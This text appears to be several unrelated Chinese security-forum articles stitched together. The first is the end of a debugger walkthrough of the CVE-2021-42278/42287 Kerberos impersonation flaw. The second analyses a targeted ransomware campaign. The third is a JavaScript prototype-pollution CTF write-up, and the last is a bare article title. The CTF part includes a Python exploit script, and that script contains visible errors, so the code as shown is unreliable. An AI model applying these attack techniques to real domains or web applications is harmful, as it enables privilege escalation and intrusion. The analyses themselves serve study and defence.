0017f308 00 00 00 00 00 00 00 00-00 00 01 00 00 00 03 02 ................
0017f318 00 00 07 00 00 00 0d 00-00 00 00 00 00 00 0c 00 ................
0017f328 00 00 57 00 49 00 4e 00-53 00 52 00 56 00 53 00 ..W.I.N.S.R.V.S.
0017f338 45 00 52 00 56 00 45 00-52 00 0c 00 00 00 00 00 E.R.V.E.R.......
0017f348 00 00 0b 00 00 00 52 00-45 00 4e 00 50 00 45 00 ......W.I.N.T.E.
0017f358 4e 00 47 00 59 00 55 00-30 00 33 00 00 00 04 00 S.T.Y.U.0.3.....
0017f368 00 00 01 04 00 00 00 00-00 05 15 00 00 00 db ac ................
0017f378 e2 f8 a5 b2 f3 d1 a1 c4-3e 10 00 00 00 00 00 06 ........>.......
0017f388 7d ec a5 f7 d7 01 18 00-57 00 49 00 4e 00 53 00 }.......W.I.N.S.
0017f398 52 00 56 00 53 00 45 00-52 00 56 00 45 00 52 00 R.V.S.E.R.V.E.R.
0017f3a8 00 00 00 00 00 00 76 ff-ff ff 51 30 b4 c6 f1 8c ......v...Q0....
0017f3b8 bf 3d 01 2f 7c 3d 75 9b-9d 8d 00 00 00 00 76 ff .=./|=u.......v.
0017f3c8 ff ff 5a 8c df 90 88 38-ec 5d 6c 61 b8 46 bd bf ..Z....8.]la.F..
0017f3d8 99 5c 00 00 00 00 .\....
之后会获取请求的相关信息
* 在REQUEST_BODY中获得ServerName
* 在TGT中获得cname和crealm
KerbErr = KerbConvertPrincipalNameToKdcName(
&ServerName,
&RequestBody->KERB_KDC_REQUEST_BODY_server_name
);
KerbErr = KerbConvertPrincipalNameToKdcName(
&SourceClientName,
&SourceEncryptPart->client_name
);
KerbErr = KerbConvertRealmToUnicodeString(
&SourceClientRealm,
&SourceEncryptPart->client_realm
);
内容分别如下
kd> dt ServerName
Local var @ 0x327fdd8 Type _KERB_INTERNAL_NAME*
0x00117610
+0x000 NameType : 0n1
+0x002 NameCount : 1
+0x004 Names : [1] _UNICODE_STRING "WINSRVSERVER"
kd> dt SourceClientName
Local var @ 0x327fdd4 Type _KERB_INTERNAL_NAME*
0x0017f3e8
+0x000 NameType : 0n1
+0x002 NameCount : 1
+0x004 Names : [1] _UNICODE_STRING "WINSRVSERVER"
kd> dt SourceClientRealm
Local var @ 0x327fdc4 Type _UNICODE_STRING
"WINTESTYU03.COM"
+0x000 Length : 0x1e
+0x002 MaximumLength : 0x20
+0x004 Buffer : 0x00153578 "WINTESTYU03.COM"
之后会调用`KdcFindS4UClientAndRealm`来获取`PA_DATA_FOR_USER`这个结构中的内容
`KdcFindS4UClientAndRealm`函数会解析`PaList`并将其转换成`KERB_PA_FOR_USER`结构，目前需要注意的便是其中的`userName`是我们要请求的高权限用户的用户名`Administrator`
kd> dt S4URequest
Local var @ 0x327f9b0 Type KERB_PA_FOR_USER*
0x0012aaa8
+0x000 bit_mask : 0
+0x000 o : [1] ""
+0x004 userName : KERB_PRINCIPAL_NAME
+0x00c userRealm : 0x0012abf0 "WINTESTYU03.COM"
+0x010 cksum : KERB_CHECKSUM
+0x01c authentication_package : 0x000fca30 "Kerberos"
+0x020 authorization_data : tagASN1octetstring_t
kd> dx -id 0,0,89de1678 -r1 (*((KDCSVC!KERB_PRINCIPAL_NAME *)0x12aaac))
(*((KDCSVC!KERB_PRINCIPAL_NAME *)0x12aaac)) [Type: KERB_PRINCIPAL_NAME]
[+0x000] name_type : 10 [Type: long]
[+0x004] name_string : 0x82c98 [Type: KERB_PRINCIPAL_NAME_name_string_s *]
kd> dx -id 0,0,89de1678 -r1 ((KDCSVC!KERB_PRINCIPAL_NAME_name_string_s *)0x82c98)
((KDCSVC!KERB_PRINCIPAL_NAME_name_string_s *)0x82c98) : 0x82c98 [Type: KERB_PRINCIPAL_NAME_name_string_s *]
[+0x000] next : 0x0 [Type: KERB_PRINCIPAL_NAME_name_string_s *]
[+0x004] value : 0x159c88 : "wintestServer" [Type: char *]
之后会通过`KdcNormalize`获取我们自身`WINSRVSERVER`的相关信息
其中的关键调用如下：
* KdcNormalize
* KdcGetTicketInfo
* SamIGetUserLogonInformation2 (WINSRVSERVER)
* SamIGetUserLogonInformation2 (WINSRVSERVER$)
对于漏洞的利用便发生在这个函数中，并且利用了两次。
第一次实现了将申请的用户转换为域控上的`Administrator`
第二次实现了将申请的服务转换成`WINSRVSERVER$`
下面将详细分析漏洞点。
KERBERR
KdcNormalize(
IN PKERB_INTERNAL_NAME PrincipalName,
IN OPTIONAL PUNICODE_STRING PrincipalRealm,
IN OPTIONAL PUNICODE_STRING RequestRealm,
IN OPTIONAL PUNICODE_STRING TgtClientRealm,
IN ULONG NameFlags,
IN BOOLEAN bRestrictUserAccounts,
OUT PBOOLEAN Referral,
OUT PUNICODE_STRING RealmName,
OUT PKDC_TICKET_INFO TicketInfo,
OUT PKERB_EXT_ERROR pExtendedError,
OUT OPTIONAL SAMPR_HANDLE * UserHandle,
IN OPTIONAL ULONG WhichFields,
IN OPTIONAL ULONG ExtendedFields,
OUT OPTIONAL PUSER_INTERNAL6_INFORMATION * UserInfo,
OUT OPTIONAL PSID_AND_ATTRIBUTES_LIST GroupMembership
)
调用`KdcNormalize`时的相关参数中最重要的就是`SourceCName`
因为我们是在利用`S4U2Self`协议请求自身的ST，所以`SourceCName`也就是自身的名字`WINSRVSERVER`
kd> dt SourceCName
Local var @ 0x327f9e0 Type _KERB_INTERNAL_NAME*
0x0016e920
+0x000 NameType : 0n1
+0x002 NameCount : 1
+0x004 Names : [1] _UNICODE_STRING "WINSRVSERVER"
之后在`CheckSam`条件中会调用到`KdcGetTicketInfo`来获取用户`WINSRVSERVER`的相关信息
KerbErr = KdcGetTicketInfo(
&OutputPrincipal,
0, // no lookup flags means sam name
bRestrictUserAccounts,
NULL, // no principal name
NULL, // no realm name,
TicketInfo,
pExtendedError,
UserHandle,
WhichFields,
ExtendedFields,
UserInfo,
GroupMembership
);
此时`OutputPrincipal`的值为`WINSRVSERVER`，即我们自己的机器名`DC`，目前仍一切正常
kd> dt OutputPrincipal
Local var @ 0x327f928 Type _UNICODE_STRING
"WINSRVSERVER"
+0x000 Length : 0x18
+0x002 MaximumLength : 0x1a
+0x004 Buffer : 0x0016e92c "WINSRVSERVER"
之后会调用`SamIGetUserLogonInformation2`在SAM中查找对应的账户信息，但由于此时已经将创建的机器账号还原，所以并不能找到对应的账号，该函数会返回错误
但是系统并不会直接提示找不到账号，而是会在其后面添加'$'符号，将其作为机器账号再次查找
Status = SamIGetUserLogonInformation2(
GlobalAccountDomainHandle,
LookupFlags,
UserName,
WhichFields,
ExtendedFields,
&UserInfo,
&LocalMembership,
&LocalUserHandle
);
//
// WASBUG: For now, if we couldn't find the account try again
// with a '$' at the end (if there wasn't one already)
//
if (((Status == STATUS_NOT_FOUND) ||
(Status == STATUS_NO_SUCH_USER)) &&
(!IsValidGuid) &&
((LookupFlags & ~SAM_NO_MEMBERSHIPS) == 0) &&
(UserName->Length >= sizeof(WCHAR)) &&
(UserName->Buffer[UserName->Length/sizeof(WCHAR)-1] != L'$'))
{
Status = KerbDuplicateString(
&TempString,
UserName
);
if (!NT_SUCCESS(Status))
{
KerbErr = KRB_ERR_GENERIC;
goto Cleanup;
}
DsysAssert(TempString.MaximumLength >= TempString.Length + sizeof(WCHAR));
TempString.Buffer[TempString.Length/sizeof(WCHAR)] = L'$';
TempString.Length += sizeof(WCHAR);
D_DebugLog((DEB_TRACE, "Account not found ,trying machine account %wZ\n",
&TempString ));
Status = SamIGetUserLogonInformation2(
GlobalAccountDomainHandle,
LookupFlags,
&TempString,
WhichFields,
ExtendedFields,
&UserInfo,
&LocalMembership,
&LocalUserHandle
);
}
通过调试信息可以清晰的看到查找到的用户信息不再是`WINSRVSERVER`而是变成了`WINSRVSERVER$`也就是域控对应的机器账号`UserId
= 0x3ed`
至此便完成了对于域控的欺骗，之后就是颁发ST的过程
kd> dt UserInfo
Local var @ 0x327f684 Type _USER_INTERNAL6_INFORMATION*
0x001602e0
+0x000 I1 : _USER_ALL_INFORMATION
+0x0c8 LastBadPasswordTime : _LARGE_INTEGER 0x0
+0x0d0 ExtendedFields : 0x18
+0x0d4 UPNDefaulted : 0 ''
+0x0d8 UPN : _UNICODE_STRING ""
+0x0e0 A2D2List : (null)
+0x0e4 RegisteredSPNs : (null)
+0x0e8 KeyVersionNumber : 5
+0x0ec LockoutThreshold : 0
kd> dx -id 0,0,89de1678 -r1 (*((KDCSVC!_USER_ALL_INFORMATION *)0x1602e0))
(*((KDCSVC!_USER_ALL_INFORMATION *)0x1602e0)) [Type: _USER_ALL_INFORMATION]
[+0x000] LastLogon : {0} [Type: _LARGE_INTEGER]
[+0x008] LastLogoff : {0} [Type: _LARGE_INTEGER]
[+0x010] PasswordLastSet : {0} [Type: _LARGE_INTEGER]
[+0x018] AccountExpires : {0} [Type: _LARGE_INTEGER]
[+0x020] PasswordCanChange : {0} [Type: _LARGE_INTEGER]
[+0x028] PasswordMustChange : {9223372036854775807} [Type: _LARGE_INTEGER]
[+0x030] UserName : "WINSRVSERVER$" [Type: _UNICODE_STRING]
[+0x038] FullName : "" [Type: _UNICODE_STRING]
[+0x040] HomeDirectory : "" [Type: _UNICODE_STRING]
[+0x048] HomeDirectoryDrive : "" [Type: _UNICODE_STRING]
[+0x050] ScriptPath : "" [Type: _UNICODE_STRING]
[+0x058] ProfilePath : "" [Type: _UNICODE_STRING]
[+0x060] AdminComment : "" [Type: _UNICODE_STRING]
[+0x068] WorkStations : "" [Type: _UNICODE_STRING]
[+0x070] UserComment : "" [Type: _UNICODE_STRING]
[+0x078] Parameters : "" [Type: _UNICODE_STRING]
[+0x080] LmPassword : "" [Type: _UNICODE_STRING]
[+0x088] NtPassword : ".?废??樾??" [Type: _UNICODE_STRING]
[+0x090] PrivateData : "." [Type: _UNICODE_STRING]
[+0x098] SecurityDescriptor [Type: _SR_SECURITY_DESCRIPTOR]
[+0x0a0] UserId : 0x3ed [Type: unsigned long]
[+0x0a4] PrimaryGroupId : 0x0 [Type: unsigned long]
[+0x0a8] UserAccountControl : 0x2100 [Type: unsigned long]
[+0x0ac] WhichFields : 0x27120005 [Type: unsigned long]
[+0x0b0] LogonHours [Type: _LOGON_HOURS]
[+0x0b8] BadPasswordCount : 0x0 [Type: unsigned short]
[+0x0ba] LogonCount : 0x0 [Type: unsigned short]
[+0x0bc] CountryCode : 0x0 [Type: unsigned short]
[+0x0be] CodePage : 0x0 [Type: unsigned short]
[+0x0c0] LmPasswordPresent : 0x0 [Type: unsigned char]
[+0x0c1] NtPasswordPresent : 0x1 [Type: unsigned char]
[+0x0c2] PasswordExpired : 0x0 [Type: unsigned char]
[+0x0c3] PrivateDataSensitive : 0x1 [Type: unsigned char]
至此，我们成功的请求的用户`WINSRVSERVER`伪装成了域控自身`WINSRVSERVER$`
之后再`I_GetTGSTicket`中，为了获得`WINSRVSERVER`这个服务的相关信息，又再次调用`KdcNormalize`，其中的流程与上述基本相同，这也就是漏洞的第二次利用。成功的将请求的服务从`WINSRVSERVER`伪装成`WINSRVSERVER$`
完成上述的两次利用后，其他过程都显得不再重要，但有一点仍然需要留意，便是关于PAC的问题。
之前TGT中的PAC主体为`WINSRVSERVER`，又是如何切换为申请的`Administrator`的，对于之前的PAC又是如何处理的。
下面将对这两点进行分析
`S4U2self`协议的意义是
服务器模拟用户向域控申请针对自身的ST，即给予用户访问服务的权限，所以返回的ST中应该插入的是用户的PAC，即下图中的(2)(3)两个过程
而上一步中我们申请的TGT中的PAC，是 不在下图中的Service1向KDC认证的过程 中颁发的PAC
明白了这点也就明白了为什么PAC会被替换
以下堆栈及函数完成了生成ST并向其中添加了用户PAC
kd> kb
# ChildEBP RetAddr Args to Child
00 0327f9ac 61ba4b9b 0327fb48 0327fea8 0327fea0 KDCSVC!I_GetTGSTicket+0x313
01 0327fe44 61ba1901 00160958 000c5020 0327feb8 KDCSVC!HandleTGSRequest+0x77f
02 0327fee0 61bae51e 0327ff30 00160958 00160968 KDCSVC!KdcGetTicket+0x25e
03 0327ff34 70d173e6 00160940 00000562 00000000 KDCSVC!KdcAtqIoCompletion+0x15f
04 0327ff58 70d18808 00000562 00000000 00084df4 NTDSATQ!ATQ_CONTEXT::IOCompletion+0x53
05 0327ff84 70d189f2 00000000 00000562 00084df4 NTDSATQ!AtqpProcessContext+0x3c2
06 0327ffb8 77e41be7 abcdef01 00000000 00000000 NTDSATQ!AtqPoolThread+0xbd
07 0327ffec 00000000 70d18935 abcdef01 00000000 kernel32!BaseThreadStart+0x34
KerbErr = KdcGetS4UTicketInfo(
S4UTicketInfo,
&OldServiceTicketInfo, // tgt's account info.
&S4UClientUserInfo,
&S4UClientGroupMembership,
pExtendedError
);
...
KerbErr = BuildTicketTGS(
ServiceTicketInfo,
RequestBody,
SourceTicket,
Referral,
S4UTicketInfo,
CommonEType,
&NewTicket,
pExtendedError
);
...
KerbErr = KdcInsertInitialS4UAuthorizationData(
&EncryptedTicket,
pExtendedError,
S4UTicketInfo,
S4UClientUserInfo,
&S4UClientGroupMembership,
((ServiceTicketInfo->UserId != DOMAIN_USER_RID_KRBTGT) &&
((ServiceTicketInfo->UserAccountControl & USER_INTERDOMAIN_TRUST_ACCOUNT) == 0)),
pKeyToUse
);
对于原本的TGT中的PAC并没有做任何处理，直接将其丢弃了。
## 总结
本文介绍了`CVE-2021-42278`和`CVE-2021-42287`的漏洞背景,并从系统层面详细分析了漏洞成因，其关键点在于`S4U2self`过程中的欺骗。
## 参考
<https://www.rfc-editor.org/rfc/rfc4120.txt>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/aceb70de-40f0-4409-87fa-df00ca145f5a>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/ae60c948-fda8-45c2-b1d1-a71b484dd1f7>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/c38cc307-f3e6-4ed4-8c81-dc550d96223c>
* * * | 社区文章 |
## 前言：
随着2016年接近尾声，各大安全厂商，各类安全机构都陆续发布2016年的安全总结，“勒索软件”这个词语在这些报告中频繁出现，有的甚至占用了总结报告的大量篇幅，这说明勒索软件在这一年中带来的安全威胁越发严重。越来越多的网络犯罪分子通过勒索软件牟取非法收益,勒索软件家族更加多样化，各种勒索手段层出不穷。如MalwareHunterTeam发现的PopcornTime勒索木马甚至才用了推荐链接再感染两名其他用户的社会学传播方法。又如：从KillDisk进化而来的勒索软件耍起了流氓，即使支付了赎金也不会帮你解锁文件，关于这款勒索软件的分析请参考链接[链接](https://xianzhi.aliyun.com/forum/topic/277/\(https://xianzhi.aliyun.com/forum/read/632.html))。同时，勒索软件也呈现出定向化攻击的特点，如旧金山市交通局系统被勒索软件勒索，导致整个地铁售票系统都停运了，旧金山交通局直接开放了检票口，允许顾客免费乘车。今天我们要分析的是一款针对俄罗斯社科院的定向勒索软件。我们将还原这一定向勒索事件的全过程。
此次事件中，黑客利用的攻击手法如下，我们在后文中也会以攻击顺序作为本文的行为脉络：
## 钓鱼邮件
攻击者通过给俄罗斯社科院发送钓鱼邮件作为攻击的第一阶段，邮件内容与修正法案有关，试图诱导受害者点击附件释放勒索软件。
邮件截图如下所示
google翻译过的邮件主题与内容：
收件人对应的网站截图如下：
## 漏洞利用：
在钓鱼邮件的附件中的文件为CVE-2015-1641漏洞利用样本。CVE-2015-1641是一个典型的类型混淆漏洞,
这个漏洞的触发非常稳定，在不打补丁的情况下几乎影响微软目前所支持的所有office版本。这个漏洞也是定向攻击中最常用的漏洞之一。漏洞的原因在于office没有传入的customXML对象进行严格的校验，当用于传入的对象不是customXML而是smartTag对象时，仍使用了对customXML对象的处理流程，导致任意内存读写。
我们使用oletool提取出word中嵌入的OLE对象，可以看到oletool提取出4个OLE对象。
使用7zip将释放出来的“bin_object_0000763E.doc”解压后，其word\activeX目录下的activeX52.bin文件中就包含有漏洞利用成功后的shellcode
可以看到shellcode的内容为
而通过利用msvcr71.dll中的ret指令跳转到 ROP链：
Shellcode运行后会加载释放的诱饵文档的部分翻译内容：
Shellcode运行后，会在临时目录下释放vmsk.exe并加载vmsk.exe运行
## Vmsk.exe分析
Vmsk.exe使用如下的图标仿冒成文档文件，同时Vmsk.exe带有如下的版本信息
**公司** www.sipcast.com
**文件描述** Complete Android Congress Vortex
**内部名称** Quality
**版权** Copyright 2013. All rights reserved.
**源文件名** Quality.exe
**产品名称** Quality
**产品版本** 3.2.6.915
此文件嵌入了大量无用字符串和没有意义的函数调用
Vmsk.exe会从自身文件内部读取内容解密出代码执行。
从文件中的待解密的内容：
对应文件中的内容：
随后，程序会以0x33为密钥，对上面的代码进行解密：
解密算法：
取出每个加密字符，与临时变量temp异或，并将结果保存，同时更新temp 的内容
解密后的内容是一段如下的代码
而解密出的代码的主要功能是：解密PE文件并内存加载执行。
随后，会开启线程到解密出的PE的入口点执行，而主线程通过Sleep函数睡眠。
将PE dump出来用作后面的分析。
## 解密出来的PE
我们将解密出来的PE保存成文件，可以看到，此文件也带有文件版本信息。
文件信息如下：
**公司** Microsoft Corporation
**文件描述** Client Server Runtime Process
**文件版本** 6.3.9600.16384 (winblue_rtm.130821-1623)
**内部名称** CSRSS.Exe
**版权** ? Microsoft Corporation. All rights reserved.
**源文件名** CSRSS.Exe
**产品名称** Microsoft? Windows? Operating System
**产品版本** 6.3.9600.16384
此PE使用了UPX压缩，使用upx –d命令解压缩后
## 勒索软件
此阶段的文件才是真正的勒索软件。
勒索文件运行后会遍历系统中指定扩展名的文件，使用RSA算法对文件加密后保存在磁盘中。加密后的系统桌面的效果如下：
同时会在桌面上释放大量的README+数字.txt
勒索软件会加密下面扩展名的文件：
为了防止感染后系统无法重启，不会对下面的文件进行加密：
文件被加密后的扩展名为.better_call_saul
### 5\. 1持久化
将文件拷贝到%application data%目录下csrss.exe，并将csrss.exe加入启动项
将csrss.exe加入启动项：
### 5.2 加密密钥的生成
使用时间，线程id等信息生成随机种子，用来生成随机的AES密钥，此后用此密钥来加密文件内容和文件名。
初始化AES256算法：
### 5.3 加密后文件名生成算法：
加密后文件的文件名与原始文件文件名并不相同，而是诸如“EAVncBsfZQ3MAGdWjbVe-R23ErWNDAn4Zodxpvwyd0o=.FAB037B7F0B595FFE1AF.better_call_saul”格式。
文件名称来自于三部分：
1. 生成的随机时间作为初始化key,使用AES256加密文件名后得到的结果进行base64编码，作为第一部分
1. 从配置文件中读取，做为第二部分FAB037B7F0B595FFE1AF
1. 固定字符串“.better_call_saul”做为第三部分
### 5.4 文件内容的加密
加密后文件内容的前0x180字节为加密过的AES密钥(使用RSA加密)，随后是AES加密过的文件内容，再后面是文件原始的前0x180字节内容，最后是文件的时间信息。
1. 使用RSA算法加密前面生成的加密密钥，保存到加密后文件的头部
1. 将文件的头部0x180字节拷贝到加密后文件的尾部
1. 循环读取原始文件内容，等待线程加密后，写回到原始文件中
加密完成后，对加密后的文件重命名：
### 5.5 对分析人员的威胁
有意思的是，在勒索软件内部，还保留有对分析人员的恐吓内容（
**卡巴分析人员，您们好，我知道你们可能会攻击我们的服务器攻取密钥，你们丫的小心点，小心公开你丫的个人信息…………** ）：
## 总结
两个月前，旧金山市交通系统遭勒索软件感染案例的新闻充斥着各大新闻版块的头条，时至今日，是何人所为仍是个谜。事件已经过去，但事件所发出警示：基础设施、公共服务的防护措施依然薄弱。对于旧金山市交通系统遭勒索的事件过程我们并不清楚，但通过我们本文分析的针对俄罗斯社科院的定向勒索的攻击事件全过程的梳理，我们可以看到勒索软件在定向勒索中的负荷投递特征、样本的威胁特征等内容。由于勒索软件背后的机理决定了被加密后的文件在没有私钥的情况下无法恢复，重要的文件被加密后除了通过支付赎金解密文件外并没有更为有效的恢复文件的方法，但即使支付赎金，勒索者也可能并不会解密文件，从而导致文件和钱财两空。防止被勒索，重要的是要提高安全意识，及时做好数据备份，及时更新系统，不轻易打开可疑和不明来路的邮件。
## 参考：
<http://thehackernews.com/2017/01/linux-ransomware-malware.html> | 社区文章 |
## 前言：
做题时遇到一个JS原型链污染的题目，由于之前没有学过，就详细的学习和了解一下。
## 基础知识
#### 0x00:JS创建对象的方法
在了解原型链之前，先了解一下JS创建对象的几种方式
// 第一种方式：字面量
var shy1 = {name: 'shy1'}
var shy2 = new Object({name: 'shy2'})
// 第二种方式：构造函数
var M = function (name) { this.name = name; }
var shy3 = new M('shy3')
// 第三种方式：Object.create
var lemon = {name: 'lemon'}
var shy4 = Object.create(lemon)
console.log(shy1)
console.log(shy2)
console.log(shy3)
console.log(shy4)
#### 0X01:原型及原型链
原型对象、构造函数、实例
一开始直接看概念，有点看不懂的，结合图和代码来看
var M = function (name) { this.name = name; }
var shy = new M('lemon')
* 实例就是对象，比如在该例中`shy`就是实例，`M`就是构造函数。
* 实例通过`new`一个构造函数生成的。
* 实例的`__protpo__`指向的是原型对象。
* 实例的构造函数的`prototype`也是指向原型对象。
* 原型对象的`construor`指向的是构造函数。
这些结论中有的会在下面进行验证
什么是原型链？
> 当谈到继承时，JavaScript 只有一种结构：对象。每个实例对象（ object ）都有一个私有属性（称之为 `__proto__`
> ）指向它的构造函数的原型对象（`prototype` ）。该原型对象也有一个自己的原型对象( `__proto__` )
> ，层层向上直到一个对象的原型对象为 `null`。根据定义，`null` 没有原型，并作为这个原型链中的最后一个环节。
**简单理解起来就是：**
**原型组成的链**
，对象的`__proto__`是原型，而原型也是一个对象，也有`__proto__`属性，原型的`__proto__`又是原型的原型，就这样可以一直通过`__proto__`向上找，这便是原型链，当向上找找到`Object`的原型的时候，这条原型链便算结束了。
###### 为什么需要使用原型
在JavaScript中，如果要定义一个类，需要以定义“构造函数”的方式来定义：
function lemon() {
this.bar = 1
}
new lemon()
`lemon`函数的内容，就是`lemon`类的构造函数，而this.bar就是lemon类的一个属性。
一个类必然有一些方法，类似属性`this.bar`，可以将方法定义在构造函数内部：
function lemon() {
this.bar = "hello world"
this.show = function() {
console.log(this.bar)
}
}
(new lemon()).show()
这样写的话有一个问题，就是每当新建一个`lemon`对象时，`this.show =
function...`就会执行一次，这个`show`方法实际上是绑定在对象上的，而不是绑定在“类”中。
如果在创建类的时候只创建一次`show`方法，这时候就则需要使用原型（`prototype`）了。
function lemon() {
this.bar = "hello world"
}
lemon.prototype.show = function show() {
console.log(this.bar)
}
let shy= new lemon()
shy.show()
原型`prototype`是类`lemon`的一个属性，而所有用`lemon`类实例化的对象，都将拥有这个属性中的所有内容，包括变量和方法。
需要注意的是可以通过`lemon.prototype`来访问`lemon`类的原型，但`lemon`实例化出来的对象，是不能通过`prototype`访问原型的，如上图而是需要通过`shy.__proto__`属性来访问`lemon`类的原型，也就验证了上面的
shy.__proto__ == M.prototype
#true
###### **总结一下:**
* `prototype`是一个类的属性，所有类对象在实例化的时候将会拥有`prototype`中的属性和方法
* 一个对象的`__proto__`属性，指向这个对象所在的类的`prototype`属性
#### 0x03:JavaScript原型链继承
所有类对象在实例化的时候将会拥有`prototype`中的属性和方法，这个特性被用来实现JavaScript中的继承机制.
function Father() {
this.first_name = 'letme'
this.last_name = 'shy'
}
function Son() {
this.first_name = 'the'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
Son类继承了Father类的`last_name`属性，最后输出的是`Name: the shy`。
对于对象`son`，在调用`son.last_name`的时候，实际上JavaScript引擎会进行如下操作
1. 在对象son中寻找last_name
2. 如果找不到，则在`son.__proto__`中寻找last_name
3. 如果仍然找不到，则继续在`son.__proto__.__proto__`中寻找last_name
4. 依次寻找，直到找到null结束。比如，Object.prototype的`__proto__`就是null
其他的知识不必再过于深究，记住下面的知识即可
1. 每个构造函数(`constructor`)都有一个原型对象(`prototype`)
2. 对象的`__proto__`属性，指向类的原型对象`prototype`
3. JavaScript使用`prototype`链实现继承机制
## 原型链污染
#### 0x00:什么是原型链污染？
上面所说的
shy.__proto__ == M.prototype
那如果修改了`shy.__proto__`中的值，是不是就可以修改M类，下面通过一个例子来看下：
// shy是一个简单的JavaScript对象
let shy= {bar: 1}
// shy.bar 此时为1
console.log(shy.bar)
// 修改shy的原型（即Object）
shy.__proto__.bar = 2
// 由于查找顺序的原因，shy.bar仍然是1
console.log(shy.bar)
// 此时再用Object创建一个空的lemon对象
let lemon= {}
// 查看lemon.bar
console.log(lemon.bar)
最后，虽然lemon是一个空对象{}，但lemon.bar的结果是2
因为修改了shy的原型`shy.__proto__.bar =
2`，而`shy`是一个`Object`类的实例，所以实际上是修改了Object这个类，给这个类增加了一个属性bar，值为2。
然后又用Object类创建了一个`lemon`对象`let lemon = {}`，lemon对象自然也有一个bar属性了。
在一个应用中，如果攻击者控制并修改了一个对象的原型，那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
既然知道了什么是原型链污染了，接下来就通过题目进行训练一下：
#### 0x01:littlegame
ciscn2020初赛的一道题目，源码如下：
var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const COMMODITY = {
"sword": {"Gold": "20", "Firepower": "50"},
// Times have changed
"gun": {"Gold": "100", "Firepower": "200"}
}
const MOBS = {
"Lv1": {"Firepower": "1", "Bounty": "1"},
"Lv2": {"Firepower": "5", "Bounty": "10"},
"Lv3": {"Firepower": "10", "Bounty": "15"},
"Lv4": {"Firepower": "20", "Bounty": "30"},
"Lv5": {"Firepower": "50", "Bounty": "65"},
"Lv6": {"Firepower": "80", "Bounty": "100"}
}
const BOSS = {
// Times have not changed
"Firepower": "201"
}
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}
router.post('/BuyWeapon', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/EarnBounty', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/ChallengeBOSS', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
module.exports = router;
观察代码，在路由DeveloperControlPanel中发现了只要`Admin[key] ===
password`便可以获取到flag,继续向下观察发现在路由Privilege下，如果`req.session.knight`没有被定义,就重定向到/SpawnPoint,否则查看`req.body.NewAttributeKey`和`req.body.NewAttributeValue`是否被定义,未定义就直接"What's
your
problem?"了,如果都有定义就调用setFn(),将转为字符串后的`req.body.NewAttributeKey`和`req.body.NewAttributeValue`传入
代码最上面便定义了setFn
const setFn = require('set-value');
引入了set-value,但这个是有什么作用那
> [set-value](https://www.npmjs.com/package/set-value) is a package that
> creates nested values and any intermediaries using dot notation ('a.b.c')
> paths.
> [set-value](https://www.npmjs.com/package/set-> value)是一个使用点表示法（'abc'）路径创建嵌套值和任何中介的程序包。
看了大师傅的博客，知道了原来是set-value存在原型链污染，可以跟着源码分析一下
#setFn(req.session.knight, key, value);
#这里重点看一下set-value的set函数和result函数
function set(target, path, value, options) {
if (!isObject(target)) {
return target;
}
let opts = options || {};
const isArray = Array.isArray(path);
if (!isArray && typeof path !== 'string') {
return target;
}
let merge = opts.merge;
if (merge && typeof merge !== 'function') {
merge = Object.assign;
}
const keys = isArray ? path : split(path, opts);
const len = keys.length;
const orig = target;
// 注意这个条件语句
if (!options && keys.length === 1) {
//出现了一个result函数,跟进一下
result(target, keys[0], value, merge);
return target;
}
for (let i = 0; i < len; i++) {
let prop = keys[i];
if (!isObject(target[prop])) {
target[prop] = {};
}
if (i === len - 1) {
result(target, prop, value, merge);
break;
}
target = target[prop];
}
return orig;
}
再跟进一下result函数
function result(target, path, value, merge) {
if (merge && isPlain(target[path]) && isPlain(value)) {
target[path] = merge({}, target[path], value);
//使用了merge(),实现了两个对象合并,存在赋值操作,便出现了原型链污染
} else {
target[path] = value;
}
}
最后来梳理一下整个的流程，以免混乱
* let key = req.body.NewAttributeKey.toString();
* let value = req.body.NewAttributeValue.toString();
* setFn(req.session.knight, key, value);
* set(target, path, value, options)；
* result(target, prop, value, merge);
* merge({}, target[path], value);
传入的NewAttributeKey和NewAttributeValue最终会进行merge()合并操作，req的原型是Object,Admin的原型也是Object,所以修改req的原型便可以实现原型链污染
POC:
<https://snyk.io/vuln/SNYK-JS-SETVALUE-450213>
照着提供的POC改一下就行了
import requests
session = request.session()
url = 'xxxx'
json1 = {
"NewAttributeKey" : "constructor.prototype.Sn0w",
"NewAttributeValue" : "Sn0w"
}
json2 = {
"Key" : "Sn0w",
"password" : "Sn0w"
}
session.get(url+'SpawnPoint')
session.post(url+'Privilege', json=json1).text
print(session.post(url+'DeveloperControlPanel', json=json2).text)
## 参考博客
<https://www.cnblogs.com/chengzp/p/prototype.html>
[https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype**proto**](https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype__proto__)
<https://www.cnblogs.com/Lziyang/p/13559860.html> | 社区文章 |
# 【病毒分析】老树新芽：Kronos恶意软件分析（part 1）
